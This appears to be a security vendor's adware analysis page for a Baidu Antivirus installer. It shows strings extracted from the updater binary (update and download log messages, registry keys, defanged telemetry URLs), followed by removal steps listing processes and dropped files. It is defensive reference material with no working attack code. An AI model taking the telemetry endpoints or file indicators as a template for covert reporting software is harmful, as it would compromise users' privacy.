CUpdate::download_signs_,url_sign_update_download_libs

CDownloadAgent::DownloadOver_: The GetDownloadRet is 0x%x.

CDownloadAgent::DownloadBits_: Percent = %d.

CDownloadAgent::DownloadFile_: Call gnet::GetDownloadFileImpl failed(0x%x).

CDownloadAgent::DownloadFile_: Call stDataDownInfo.pDownFileImpl->DownloadFile(%s, %s) failed.

CDownloadAgent::DownloadFile_: Call DownloadFile failed(0x%x).

CDownloadAgent::DownloadFile_: Call rename_downloaded_file_name failed(0x%x).

CDownloadAgent::DownloadFile_: Call check_download_file_md5 failed(0x%x).

CDownloadAgent::init_downloader_: Call stDataDownload.pDownFileImpl->SetDownFailLimitMaxRetryTime(5) failed.

C:\A692A1E1-5C68-489B-AD08-707FD8C6BE44

CDownloadAgent::init_downloader_: Call stDataDownload.pDownFileImpl->SetGreedStyle(TRUE) failed.

CDownloadAgent::init_downloader_: Call stDataDownload.pDownFileImpl->SetLimitMaxChannelNum(10) failed.

CDownloadAgent::init_downloader_: Call stDataDownload.pDownFileImpl->SetLimitMaxChannelNum(1) failed.

CDownloadAgent::init_downloader_: Call stDataDownload.pDownFileImpl->SetLimitMinBlockSize(1 * 1024 * 1024) failed.

CDownloadAgent::init_downloader_: Call stDataDownload.pDownFileImpl->ReUseSameFile(TRUE) failed.

CDownloadAgent::init_downloader_: Call stDataDownload.pDownFileImpl->ReUseSameFile(FALSE) failed.

CLibDownloadAgent::init_downloader_: Call stDataDownload.pDownFileImpl->ForceName failed.

CDownloadAgent::check_download_file_md5_: Check download file(%s) failed(0x%x), size(as=0x%x, ds=0x%x),md5(am=0xxxxx-xxxx-xxxx-xxxx, dm=0xxxxx-xxxx-xxxx-xxxx).

CDownloadAgent::check_download_file_md5_: Download file(%s) success.

CDownloadAgent::rename_downloaded_file_name_: Call DeleteFileW(%s) failed(0x%x).

CDownloadAgent::rename_downloaded_file_name_: Call CopyFileW(%s, %s) failed(0x%x).

CBavToolsUpdate::Init_: Call get_tools_update_path failed(0x%x).

pCBavToolsUpdate::Init_: Call get_local_tools_install_dir failed(0x%x).

CBavToolsUpdate::Init_: Call m_clConfig.Init function failed(0x%x).

CBavToolsUpdate::Init_: Call init_communication failed(0x%x).

CBavToolsUpdate::Init_: Initialize bavua agent failed(x).

CBavToolsUpdate::Init_: Call CreateEvent failed(x).

CBavToolsUpdate::Init_: Call SetObjectToLowIntegrity failed(0x%x)

CBavToolsUpdate::CommitAsynchronousRequest_: The parameter length is wrong(0x%x).

CBavToolsUpdate::CommitAsynchronousRequest_: The enumAsynRequestType is wrong(0x%x).

CBavToolsUpdate::CommitAsynchronousRequest_: Call CreateThread failed(0x%x).

CBavToolsUpdate::tools_update_asynchronous_request_thread_run_: Call get_tools_update_info failed(0x%x).

CBavToolsUpdate::server_communication_init_: Init the win http communication failed(0x%x).

CBavToolsUpdate::get_tools_update_path_: Call GetModuleFileName failed(0x%x).

BavPro_Setup.exe

CBavToolsUpdate::get_tools_update_path_: The wstrBavUpdaterPath(%s) or wstrToolsUpdatePath(%s) is empty.

CBavToolsUpdate::get_tools_update_info_: The wstrBavUpdaterPath(%s) or wstrToolsUpdatePath(%s) is empty.

CBavToolsUpdate::get_tools_update_info_: Call get_tools_server_respond failed(0x%x).

CBavToolsUpdate::get_tools_update_info_: Call parse_tools_server_respond_file failed(0x%x).

CBavToolsUpdate::get_tools_update_info_: Call parse_tools_list_file failed(0x%x).

CBavToolsUpdate::get_tools_update_info_: Call get_local_tools_info failed(0x%x).

CBavToolsUpdate::get_tools_update_info_: Call get_local_tools_update_info failed(0x%x).

CBavToolsUpdate::get_tools_update_info_: Call build_tools_update_list_info failed(0x%x).

CBavToolsUpdate::get_tools_server_respond_: Call get_tools_cgi_from_config failed(0x%x).

tools_respond.xml

CBavToolsUpdate::get_tools_server_respond_: Call m_clCommunication.GetServerCgiRespond failed(0x%x).

CBavToolsUpdate::get_server_respond_: Analyze the server respond xml failed(0x%x).

CBavToolsUpdate::get_server_respond_: The server respond ToolsList.xml url(%s) was wrong.

CBavToolsUpdate::get_server_respond_: The server respond xml type is %d, we will not update tools.

CBavToolsUpdate::get_server_respond_: Call download_tools_list_file failed(0x%x).

ToolsList.xml

CBavToolsUpdate::download_tools_list_file_: Call m_clWinHttpComm.DownloadFile failed(0x%x).

CBavToolsUpdate::parse_tools_list_file_: Analyze the server respond xml failed(0x%x).

CBavToolsUpdate::get_local_tools_info_: We did not find BavToolsInfo.xml, we thought that there were not any tools in local.

CBavToolsUpdate::get_local_tools_info_: Call get_local_tools_installed_info failed(0x%x).

CBavToolsUpdate::get_tools_cgi_config_: Call CBavConfigIni::GetUrl(%s) failed(0x%x).

cgi-bin/get_bavtools_update_info.cgi

CBavToolsUpdate::get_tools_cgi_config_: Call CBavConfigIni::GetUrl(%s, %s) failed.

CBavToolsUpdate::get_tools_cgi_config_: The bav tools cgi url is (%s).

CBavToolsUpdate::get_os_version_info_: CallGetModuleHandle(kernel32.dll) failed(GetLastError = 0x%x).

CBavToolsUpdate::end_thread_: Wait thread quit time out, we will kill the thread(0x%x).

CBavToolsUpdate::end_thread_: End(0x%x).

BavToolsInfo.xml

CBavToolsUpdate::get_local_tools_install_dir: The root dir(%s) is wrong, we think there were not have tools.

CBavToolsUpdate::get_local_tools_install_dir: We did not find file(%s), we think there were not have tools.

CBavToolsUpdateMain::get_local_tools_installed_info_: Call WaitForSingleObject is 0x%x

CBavToolsUpdateMain::get_local_tools_installed_info_: Call WaitForSingleObject(30000) WAIT_TIMEOUT, GetLastError = 0x%x

CBavToolsUpdate::get_local_tools_installed_info_: Call clToolsXmlAnalyze.Init(enumToolsXmlFileTypeBavToolsInfo) failed(0x%x).

CBavToolsUpdate::get_local_tools_info_: Call get_local_tools_installed_version_info failed(0x%x).

CBavToolsUpdate::get_local_tools_installed_version_info_: The %s did not insatll.

Detail.xml

CBavToolsUpdate::get_local_tools_installed_version_info_: Call clToolsXmlAnalyze.Init(enumToolsXmlFileTypeToolDetailVersion) failed(0x%x).

CBavToolsUpdate::get_local_tools_update_info_: Call get_reinstall_tool_md5_size_url(%s) failed(0x%x).

CBavToolsUpdate::get_local_tools_update_info_: Call get_new_tool_summary(%s) failed(0x%x).

CBavToolsUpdate::get_local_tools_update_info_: Call get_local_tools_update_type failed(0x%x).

ToolsUpdateList.xml

CBavToolsUpdate::build_tools_update_list_info_: Call build_tools_update_list_one_update_list failed(0x%x).

CBavToolsUpdate::build_tools_update_list_info_: Call build_tools_rules_list_one_rules_list failed(0x%x).

CBavToolsUpdate::build_tools_update_list_info_: Call clToolsXmlUpdate.CreateToolsXmlFile failed(0x%x).

CBavToolsUpdate::get_reinstall_tool_md5_size_url_: Call create_dirs failed(0x%x).

ToolFileList.xml

CBavToolsUpdate::get_reinstall_tool_md5_size_url_: User quit.

CBavToolsUpdate::get_reinstall_tool_md5_size_url_: Call m_clWinHttpComm.DownloadFile(%s) failed(0x%x).

CBavToolsUpdate::get_reinstall_tool_md5_size_url_: Call clToolXmlAnalyze.Init(enumToolsXmlFileTypeToolFileList) failed(0x%x).

CBavToolsUpdate::get_reinstall_tool_md5_size_url_: Call check_download_tool_file_list_xml_file(%s) failed(0x%x).

CBavToolsUpdate::get_reinstall_tool_md5_size_url_: Call check_download_tool_file_list_xml_file(%s) is unsafe.

CBavToolsUpdate::get_reinstall_tool_md5_size_url_: The installer file count = %d.

CBavToolsUpdate::check_download_tool_file_list_xml_file_: Call CopyFile(%s, %s) failed(0x%x).

CBavToolsUpdate::check_download_tool_file_list_xml_file_: Call CreateFile(%s) failed(0x%x).

CBavToolsUpdate::check_download_tool_file_list_xml_file_: Call GetFileSizeEx(0x%x, 0x%x) failed(0x%x).

CBavToolsUpdate::check_download_tool_file_list_xml_file_: Call ReadFile failed(0x%x).

CBavToolsUpdate::check_download_tool_file_list_xml_file_: Call SetFilePointerEx failed(0x%x).

CBavToolsUpdate::check_download_tool_file_list_xml_file_: Call WriteFile failed(0x%x).

CBavToolsUpdate::check_download_tool_file_list_xml_file_: ToolFileList.xml md5(real-xxxx-xxxx-xxxx-xxxx, xml-xxxx-xxxx-xxxx-xxxx) is wrong.

CBavToolsUpdate::get_new_tool_summary_: Call create_dirs failed(0x%x).

CBavToolsUpdate::get_new_tool_summary_: Call download_file failed(0x%x).

CBavToolsUpdate::download_file_: Call download_need_download_file failed(0x%x).

CBavToolsUpdate::download_file_: Call extract_download_compressed_file(%s) failed(0x%0x).

CBavToolsUpdate::download_file_: Call get_download_decompressed_file_info failed(0x%x).

CBavToolsUpdate::set_current_download_file_name_: Current download file is %s.

CBavToolsUpdate::download_need_download_file_: The file(%s) has been downloaded.

CBavToolsUpdate::download_need_download_file_: The decompressed file(%s) has been downloaded.

CBavToolsUpdate::download_need_download_file_: m_clWinHttpComm.DownloadFile file(%s) failed(0x%x).

CBavToolsUpdate::extract_download_compressed_file_: The file name(%s) was wrong.

CBavToolsUpdate::extract_download_compressed_file_: Extract file(%s) failed(x).

CBavToolsUpdate::get_decomrpessed_file_name_by_compressed_file_name_: The compressed file name(%s) is wrong.

CXmlUpdate::Save_: Call save_tiny_xml_emement function failed(x).

pCXmlUpdate::SetElementValue_: Call get_xml_element function to find(%s) element failed(x).

CXmlUpdate::save_tiny_xml_emement_: Call save_tiny_xml_sub_emement function failed(x).

CXmlUpdate::save_tiny_xml_emement_: Call clTiXmlDoc.SaveFile function failed.

CXmlUpdate::save_tiny_xml_sub_emement_: Call save_tiny_xml_sub_emement function failed(x).

CXmlUpdate::get_xml_element_: Call get_xml_element function failed(x).

update_ultimate.ini

CUpdateModules::GetModelesState_: The update decompression state is 0x%x.

CUpdateModules::GetModelesState_: The update sign merge state is 0x%x.

CUpdateModules::GetModelesState_: The update communication state is 0x%x.

CUpdateModules::GetModelesState_: The update module index is 0x%x, not supported.

CUpdateModules::SetModelesState_: The update module index is 0x%x, not supported.

CUpdateModules::SetModelesStateBeforeCall_: The update module index is 0x%x, not supported.

CUpdateModules::ResetModelesStateAfterCall_: The update module index is 0x%x, not supported.

UpdateWhiteUrlSign

pRelativeUrl

CServerXmlAnalyze::get_server_feature_lib_info_: The %s element is wrong.

CVersionXmlAnalyze::Init_: Call get_product_version function failed(x).

CVersionXmlAnalyze::get_product_version_: Analyze xml file(%s) failed(x).

CVersionXmlAnalyze::get_product_version_: The version xml file(%s)'s root element(%s) was wrong.

CVersionXmlAnalyze::get_product_version_: Call get_version_info failed(x).

IsAviraUpdateFile_: Convert file name(%s) is failed.

IsAviraUpdateFile_: Call pclLocalFile->IsFileExistByMd5 failed(x).

IsAviraUpdateFile_: The avira file(%s) need download and update.

IsAviraUpdateFile_: The avira file(%s) need update.

CCompleteProgram::Init_: The install path(%d), update path(%d) or root update path(%d) is empty

CCompleteProgram::Init_: The pclServerComm(%d), pclModules(%d), pclBavUaAgent(%d), pclConfig(%d) or pclLocalFile(%d) is null.

CCompleteProgram::ModuleUpdateFilesCheck_: Call download_file_list_file failed(x).

CCompleteProgram::ModuleUpdateFilesCheck_: Call get_file_list failed(x).

CPFileList.xml

CModuleUpdate::download_need_download_file_: The file(%s) has been downloaded.

CModuleUpdate::download_need_download_file_: The decompressed file(%s) has been downloaded.

CModuleUpdate::download_need_download_file_: Download file(%s) failed(0x%x).

FileList.xml

CCompleteProgram::download_file_list_file_: Dwonload file(%s) failed.

CCompleteProgram::download_file_list_file_: The file name(%s) is too long, we will download not compressed file.

CCompleteProgram::download_file_list_file_: The file (%s) is not been downloaded successfully, we will download not compressed file.

CCompleteProgram::download_file_list_file_: The download file name(%s) is wrong, we will download not compressed file.

CCompleteProgram::download_file_list_file_: Extract file(%s) failed(x), we will download not compressed file.

CCompleteProgram::download_file_list_file_: Call _wrename(%s, %s) failed, we will download not compressed file.

CCompleteProgram::download_file_list_file_: Check download file(%s) failed(x), size(x,x), we will download not compressed file.

CCompleteProgram::download_file_list_file_: Download file(%s) success.

CCompleteProgram::get_file_list_: Call m_clServerProgramFileList.Init(%s) failed(x).

CCompleteProgram::get_file_list_: Call m_clLocalProgramFileList.Init(%s) failed(0x%x), we will use check update.

CCompleteProgram::get_need_download_update_files_: Call is_avira_file failed(x).

CCompleteProgram::copy_update_file_: Call rename_file_name(%s) failed(x).

CCompleteProgram::copy_update_file_: Call CopyFileW(%s, %s) failed(x).

CCompleteProgram::rename_file_name_: Call _wrename (%s, %s).

CCompleteProgram::rename_file_name_: Call _wrename (%s, %s) failed(0x%x, GetLastError=0x%x).

CCompleteProgram::delete_renamed_files_: Call MoveFileEx(%s, NULL) to remove failed(0x%x).

CCompleteProgram::delete_renamed_files_: Call MoveFileEx(%s, NULL) to remove success.

CheckSelfCheckFileSafe_: Call CreateFile(%s) failed(0x%x).

CheckSelfCheckFileSafe_: Call GetFileSizeEx(0x%x, 0x%x) failed(0x%x).

CheckSelfCheckFileSafe_: Call malloc(%s) failed.

CheckSelfCheckFileSafe_: Call ReadFile failed(0x%x).

CheckSelfCheckFileSafe_: Error self check file type(%d).

CheckSelfCheckFileSafe_: The self check flag pos is wrong(%d).

CheckSelfCheckFileSafe_: The self check file calculate md5(real-xxxx-xxxx-xxxx-xxxx, file md5-xxxx-xxxx-xxxx-xxxx) was wrong.

CFeatureLibUpdate::Init_: The install path(%d), sign update path(%d) or SignUrl(%d) is empty

CFeatureLibUpdate::Init_: The pclServerComm(%d), pclModules(%d) or pclBavUaAgent(%d) is null

CFeatureLibUpdate::Init_: Call m_clFLMergeUpdate.Init failed.

CFeatureLibUpdate::FeatureLibUpdateCheck_: The install path(%d), sign update path(%d) or SignUrl(%d) is empty

CFeatureLibUpdate::FeatureLibUpdateCheck_: The m_pclServerComm(%d), m_pclModules(%d) or m_pclBavUaAgent(%d) is null

CFeatureLibUpdate::FeatureLibDownloadLibs_: The install path(%d), sign update path(%d) or SignUrl(%d) is empty

CFeatureLibUpdate::FeatureLibDownloadLibs_: The m_pclServerComm(%d), m_pclModules(%d) or m_pclBavUaAgent(%d) is null

CFeatureLibUpdate::FeatureLibDownloadLibs_: Call download_compressed_sign_file(%s/%s) failed(x)

CFeatureLibUpdate::FeatureLibDownloadLibs_: Call m_clFLMergeUpdate.FeatureLibMerge failed(0x%x)

CFeatureLibUpdate::FeatureLibUpdateLibs_: The install path(%d), sign update path(%d) or SignUrl(%d) is empty

CFeatureLibUpdate::FeatureLibUpdateLibs_: The m_pclServerComm(%d), m_pclModules(%d) or m_pclBavUaAgent(%d) is null

CFeatureLibUpdate::FeatureLibUpdateLibs_: Call create_update_sub_dirs failed(x)

CFeatureLibUpdate::FeatureLibDownloadLibs_: Call m_clFLMergeUpdate.FeatureLibUpdateLibs failed(0x%x)

Config.ini

CFeatureLibUpdate::FeatureLibUpdateLibs_: Call CopyFile(%s, %s) failed(x), we will tray again.

CFeatureLibUpdate::FeatureLibUpdateLibs_: Call CopyFile(%s, %s) failed(x)

CFeatureLibUpdate::FeatureLibUpdateLibs_: Call remove_garbage_files failed(x)

CFeatureLibUpdate::GetUpdateSignLibType_: Call m_clFLMergeUpdate.GetUpdateSignLibType failed(x).

CFeatureLibUpdate::GetUpdateSignLibType_: Call CSignType::GetUpdateFilesSignType failed(x).

CFeatureLibUpdate::get_need_update_feature_libs_: The RelativeUrl is empty.

CFeatureLibUpdate::get_need_update_feature_libs_: The RelativeUrl was empty or did not have type name.

CFeatureLibUpdate::get_need_update_feature_libs_: Call get_one_feature_lib_update_info failed(0x%x).

CFeatureLibUpdate::get_one_feature_lib_update_info_: Call get_feature_lib_version failed(0x%x).

CFeatureLibUpdate::get_one_feature_lib_update_info_: Call feature_lib_config_download failed(0x%x).

CFeatureLibUpdate::get_one_feature_lib_update_info_: Call check_feature_lib_need_update_files failed(0x%x).

CFeatureLibUpdate::get_feature_lib_version_: Call GetPrivateProfileString(%s, %s, %s) failed(%d).

ConfigFileInfo.ini

CFeatureLibUpdate::feature_lib_config_download_: Call create_dir_for_file(%s) failed.

CFeatureLibUpdate::feature_lib_config_download_: Call GetPrivateProfileString(%s, %s, %s) failed(%d).

CFeatureLibUpdate::feature_lib_config_download_: The md5(%s) is wrong.

CFeatureLibUpdate::feature_lib_config_download_: Call CheckSelfCheckFileSafe(%s) failed(0x%x).

CFeatureLibUpdate::feature_lib_config_download_: The file(%s) is safe.

CFeatureLibUpdate::feature_lib_config_download_: Call clFileInfo.Init failed(x)

CFeatureLibUpdate::feature_lib_config_download_: Call m_clFileInfo.GetFileInfo(%s) failed(x)

CFeatureLibUpdate::feature_lib_config_download_: Call download_compressed_sign_file(%s/%s) failed(x)

CFeatureLibUpdate::feature_lib_config_download_: The local %s file need update.

CFeatureLibUpdate::feature_lib_config_download_: Call m_clFLMergeUpdate.FeatureLibMergeUpdateCheck failed(0x%x)

CCommonSignUpdate::download_compressed_sign_file_: Call create_dir_for_file(%s) failed.

CCommonSignUpdate::download_compressed_sign_file_: The download file(%s) has been there.

CCommonSignUpdate::download_compressed_sign_file_: The sign file name(%s) is too long, we will download not compressed sign file.

CCommonSignUpdate::download_compressed_sign_file_: The sign file (%s) is not been downloaded successfully, we will download not compressed sign file.

CCommonSignUpdate::download_compressed_sign_file_: Initialize bavua agent failed(x), we will download not compressed sign file.

CCommonSignUpdate::download_compressed_sign_file_: The download sign file name(%s) is wrong, we will download not compressed sign file.

CCommonSignUpdate::download_compressed_sign_file_: Extract file(%s) failed(x), we will download not compressed sign file.

CCommonSignUpdate::download_compressed_sign_file_: Check extracted download file(%s) failed(x), size(x,x), we will download not compressed sing file.

CCommonSignUpdate::download_compressed_sign_file_: Download file(%s) success.

CCommonSignUpdate::download_compressed_sign_file_: Check extracted download file(%s) failed(x), size(x,x), crc32(x,x), we will download not compressed sing file.

CCommonSignUpdate::download_compressed_sign_file_: Call DownLoad failed(x)

CFeatureLibUpdate::check_feature_lib_need_update_files_: Call m_clLocalCommonSignConfigLibs.Init failed(x).

CFeatureLibUpdate::check_feature_lib_need_update_files_: Call m_clServerCommonSignConfigLibs.Init failed(x).

CFeatureLibUpdate::check_feature_lib_need_update_files_: Call get_need_download_sign_libs failed(x).

CFeatureLibUpdate::check_feature_lib_need_update_files_: Call get_need_copy_files failed(x).

CFeatureLibUpdate::check_feature_lib_need_update_files_: End(x).

CFeatureLibUpdate::get_need_copy_files_: Call m_clLocalCommonSignCheck.IsLibExist failed(x).

CFeatureLibUpdate::create_update_sub_dirs_: Call create_dirs(%s, %s) failed(x)

CFeatureLibUpdate::remove_garbage_files_: We delete garbage file(%s), result(%d).

CFeatureLibUpdate::remove_garbage_files_: We delete garbage file(%s), result(x).

CCommonSignUpdate::Init_: The install path(%d), sign update path(%d) or SignUrl(%d) is empty

CCommonSignUpdate::Init_: The pclServerComm(%d), pclModules(%d) or pclBavUaAgent(%d) is null

CCommonSignUpdate::CommonSignUpdateCheck_: The install path(%d), sign update path(%d) or SignUrl(%d) is empty

CCommonSignUpdate::CommonSignUpdateCheck_: The m_pclServerComm(%d), m_pclModules(%d) or m_pclBavUaAgent(%d) is null

CCommonSignUpdate::CommonSignDownloadLibs_: Call download_compressed_sign_file(%s/%s) failed(x)

CCommonSignUpdate::CommonSignUpdateLibs_: Call create_update_sub_dirs failed(x)

CCommonSignUpdate::CommonSignUpdateLibs_: Call CopyFile(%s, %s) failed(x), we will tray again.

CCommonSignUpdate::CommonSignUpdateLibs_: Call CopyFile(%s, %s) failed(x)

CCommonSignUpdate::CommonSignUpdateLibs_: Call remove_garbage_files failed(x)

CommonSignFileInfo.ini

CCommonSignUpdate::common_sign_update_download_check_files_: Call clFileInfo.Init failed(x)

CCommonSignUpdate::common_sign_update_download_check_files_: Call m_clFileInfo.GetFileInfo(%s) failed(x)

CCommonSignUpdate::common_sign_update_download_check_files_: Call download_compressed_sign_file(%s/%s) failed(x)

CCommonSignUpdate::common_sign_update_download_check_files_: The local %s file need update.

CCommonSignUpdate::check_common_sign_need_update_files_: Call m_clLocalCommonSignConfigLibs.Init failed(x).

CCommonSignUpdate::check_common_sign_need_update_files_: Call m_clServerCommonSignConfigLibs.Init failed(x).

CCommonSignUpdate::check_common_sign_need_update_files_: Call get_need_download_sign_libs failed(x).

CCommonSignUpdate::check_common_sign_need_update_files_: Call get_need_copy_files failed(x).

CCommonSignUpdate::check_common_sign_need_update_files_: End(x).

CCommonSignUpdate::check_common_sign_need_update_files_: Call m_clLocalCommonSignCheck.IsLibExist failed(x).

CCommonSignUpdate::CreateUpdateSubDirs_: Call create_update_sub_dirs_(%s, %s) failed(x)

CCommonSignUpdate::remove_garbage_files_: We delete garbage file(%s), result(x).

CModuleUpdate::Init_: The install path(%d), update path(%d) or root update path(%d) is empty

CModuleUpdate::Init_: The pclServerComm(%d), pclModules(%d), pclBavUaAgent(%d), pclConfig(%d) or pclLocalFile(%d) is null.

CModuleUpdate::ModuleUpdateFilesCheck_: Call get_module_update_ids_info failed(0x%x).

CModuleUpdate::ModuleUpdateFilesCheck_: Call merge_modules_download_and_update_files failed(0x%x).

CModuleUpdate::ModuleUpdateFilesCheck_: Call create_download_sub_dirs failed(0x%x).

CModuleUpdate::ModuleUpdateFilesCheck_: Call download_need_download_file failed(0x%x).

CModuleUpdate::ModuleUpdateFilesCheck_: Call extract_download_compressed_file(%s) failed(0x%0x).

CModuleUpdate::ModuleUpdateFilesCheck_: Call DeleteFile(%s) failed(0x%x).

CModuleUpdate::ModuleUpdateFilesCheck_: Remove garbage file(%s) successfully.

CModuleUpdate::download_module_id_file_list_: Call m_pclServerComm->DownloadFile(%s) failed.

CModuleUpdate::download_module_id_file_list_: Call clFileList.Init(%s) failed.

CModuleUpdate::download_module_id_file_list_: Call CheckSelfCheckFileSafe failed(0x%x).

CModuleUpdate::download_module_id_file_list_: The file(%s) is unsafe.

CModuleUpdate::download_module_id_file_list_: Download file(%s) failed.

CModuleUpdate::download_module_id_file_list,FileList.xml

CModuleUpdate::get_avira_file_update_info_: The file(%s) was not been insearted.

CModuleUpdate::is_file_need_download_and_update_: Call is_special_file failed(x).

CModuleUpdate::is_file_need_download_and_update_: Call m_pclLocalFile->IsFileExistByMd5 failed(x).

CModuleUpdate::get_need_download_update_files_: The file(%s) need download and update.

CModuleUpdate::get_need_download_update_files_: The file(%s) need update.

CModuleUpdate::is_file_in_map_and_insert_: There were two file(%s) need update.The one is size=%d, md5=xxxx-xxxx-xxxx-xxxx.The other is size=%d, md5=xxxx-xxxx-xxxx-xxxx.

CModuleUpdate::is_special_file_: The file(%s) was not been insearted.

CModuleUpdate::is_program_data_file_need_update_: Call SHGetFolderPath failed(0x%x).

CModuleUpdate::is_program_data_file_need_update_: The Program Data file path is "%s".

CModuleUpdate::set_current_download_file_name_: Current download file is %s.

CModuleUpdate::extract_download_compressed_file_: Initialize bavua agent failed(x).

CModuleUpdate::extract_download_compressed_file_: Extract file(%s) failed(x).

CModuleUpdate::remove_garbage_files_: Call DeleteFile(%s) failed(0x%x).

CModuleUpdate::remove_garbage_files_: Remove garbage file(%s) successfully.

CToolsXmlAnalyze::Init_: Call get_server_respond failed(x).

CToolsXmlAnalyze::Init_: Call get_tools_list_xml_info failed(x).

CToolsXmlAnalyze::Init_: Call get_bav_tools_info_xml_info failed(x).

CToolsXmlAnalyze::Init_: Call get_tool_file_list_xml_info failed(x).

CToolsXmlAnalyze::Init_: Call get_tool_detail_file_xml_version_info failed(x).

CToolsXmlAnalyze::Init_: enumXmlFileType = %d.

CToolsXmlAnalyze::get_bav_tools_info_xml_info_: The root element name(%s) is wrong.

CToolsXmlAnalyze::get_tool_detail_file_xml_version_info_: We did not find %s element.

CToolsXmlAnalyze::get_one_tool_clsid_without_bracket_: Error clsid = %s.

CToolsXmlUpdate::set_statistic_default_: Call m_clXmlUpdate.ElementClear function failed.

CToolsXmlUpdate::set_statistic_default_: Call m_clXmlUpdate.Save failed.

CFeatureLibMergeUpdate::Init_: The install path(%d), sign update path(%d) or SignUrl(%d) is empty

CFeatureLibMergeUpdate::FeatureLibMergeUpdateCheck_: The install path(%d), sign update path(%d) or SignUrl(%d) is empty

CFeatureLibMergeUpdate::FeatureLibMergeUpdateCheck_: Call check_md5_sign_need_update failed(0x%x)

CFeatureLibMergeUpdate::FeatureLibMerge_: Call md5_micro_sign_merge_libs failed(0x%x)

CFeatureLibMergeUpdate::FeatureLibUpdateLibs_: Call md5_micro_sign_update_update_libs(enumUpdateSignMergeSignTypeMd5Sign) failed(x).

CFeatureLibMergeUpdate::FeatureLibUpdateLibs_: Call md5_micro_sign_remove_garbage_libs(enumUpdateSignMergeSignTypeMd5Sign) failed(x).

CFeatureLibMergeUpdate::md5_micro_sign_merge_class_init_,m_clMd5SignUpdate.AgentInit

CFeatureLibMergeUpdate::md5_micro_sign_merge_class_init_,m_clMicroSignUpdate.AgentInit

CFeatureLibMergeUpdate::md5_or_micro_sign_merge_class_init_: The enumSignType = %d.

CFeatureLibMergeUpdate::md5_or_micro_sign_merge_class_init_: Call m_Md5SignUpdate.AgentInit(%s) failed(x).

CFeatureLibMergeUpdate::md5_micro_sign_update_check_need_update_: Call md5_micro_sign_update_set_history_flag failed(0x%x)

CFeatureLibMergeUpdate::md5_micro_sign_merge_libs_: Call sign_update_merge_libs failed(x).

CFeatureLibMergeUpdate::md5_micro_sign_update_update_libs_: Call CopyFileW(%s, %s) failed(x)

CFeatureLibMergeUpdate::md5_micro_sign_update_update_libs_: There is only one false sign lib(%s), not x libs.

IEngineReport

PCFaster.exe

Software\Microsoft\Windows\CurrentVersion\Uninstall\Baidu Antivirus

5,4,3,147185

win %u.%u.%u

.BAVBAK

report_from

hXXps://sync.bav.baidu.com

SyncURL

%s/cgi-bin-py/statistic_msg.cgi?type=%s&guid=%s&ver=%s

%s/cgi-bin-py/get_bav_statistic_info.cgi

hXXp://up.bav.baidu.com

UploadServerURL

%s/cgi-bin/statistic_cloud_hits.cgi?guid=%s&type=%s&ver=%s

%s=%s

[d-d-d d:d:d]

hXXp://sync.bav.baidu.com

SyncHttp

SYSTEM\CurrentControlSet\Services\PSafe WEB

\Baidu\Antivirus\uurm.dat

UUReportFailDays

UUReportOKDays

UUReportLastFailDate

UUReportLastOKDate

UUReportOKLastVersion

FirstUUReportID

FirstUUReportTime

%s/cgi-bin/report_uu_msg_bavv2.cgi

%s\InstRptBls.dat

ReportComm.dll

%s\%d

/up.cgi

BLSUUReportLastOKTime

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\BavSvc

\Baidu\Antivirus\inst.dat

UTSInstallReportTime

%s/cgi-bin/adware_hit.cgi?g=%s&v=%s

>%s\%s

\\.\SysPrj

BavOa.dll

\Baidu\Common\I18N\conf.db

%s(%d)%s

%s_%d%s

\test4822FBB5_0309_420f_9DA2_FA5B8B854947.txt

\\?\a:

%dddddd

XXxXXXXXXXX

\/:*?"<>|

\%d%d%0x

SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002BE10318}

SYSTEM\CurrentControlSet\Control\Network\{4D36E972-E325-11CE-BFC1-08002BE10318}

%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavUpdater.exe

5.1.2600.5512 (xpsp.080413-211

%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0

5.4.3.147185

%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Dump

Remove it with Ad-Aware

Click (here) to download and install Ad-Aware Free Antivirus.
Update the definition files.
Run a full scan of your computer.

Manual removal*

Scan a system with an anti-rootkit tool.
Terminate malicious process(es) (How to End a Process With the Task Manager):

csc.exe:1644
csc.exe:2996
bavupdater.exe:3904
BavSvc.exe:3632
CheckNetwork.exe:1488
CheckNetwork.exe:1308
%original file name%.exe:1284
BavMSService.exe:2164
BavMSService.exe:204
BavMSService.exe:2436
OCfBeepMvDfE8mqCHEKkwOufjHOCfBeepMvDfE8mqCHEKkwOufjH_bn.exe:592
amisetup9587__9664.exe:2584
OCfBeepMvDfE8mqCHEKkwOufjHOCfBeepMvDfE8mqCHEKkwOufjH_t3.exe:1612
schtasks.exe:3560
schtasks.exe:3576
schtasks.exe:3568
ReportCommRetry.exe:2516
BavPro_Setup_B354.exe:3296
OCfBeepMvDfE8mqCHEKkwOufjHOCfBeepMvDfE8mqCHEKkwOufjH_am2.exe:1884
BavCheckOpponent.exe:876
OCfBeepMvDfE8mqCHEKkwOufjHOCfBeepMvDfE8mqCHEKkwOufjH_a7.exe:1948
regsvr32.exe:3588
regsvr32.exe:3620
OCfBeepMvDfE8mqCHEKkwOufjHOCfBeepMvDfE8mqCHEKkwOufjH_y3.exe:236
cscript.exe:3216
cscript.exe:3256
cvtres.exe:2068
cvtres.exe:3004
Delete the original Adware file.
Delete or disinfect the following files created/modified by the Adware:

%WinDir%\Temp\qov-o9se.dll (5926 bytes)
%WinDir%\Temp\qov-o9se.out (35782 bytes)
%WinDir%\Temp\CSCD.tmp (652 bytes)
%WinDir%\Temp\pwxw4cq9.out (1466 bytes)
%WinDir%\Temp\CSCF.tmp (652 bytes)
%WinDir%\Temp\pwxw4cq9.dll (3556 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\dump\bugreportconfig.ini (30 bytes)
%Documents and Settings%\All Users\Application Data\Baidu\Antivirus\uurm.dat (522 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_hipsadp\skin (4 bytes)
%System%\CatRoot2 (96 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\investigate\skin (4 bytes)
%WinDir%\SoftwareDistribution (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\23A88272-3BEB-64D1-7DFB-470FD51F9BBA (4 bytes)
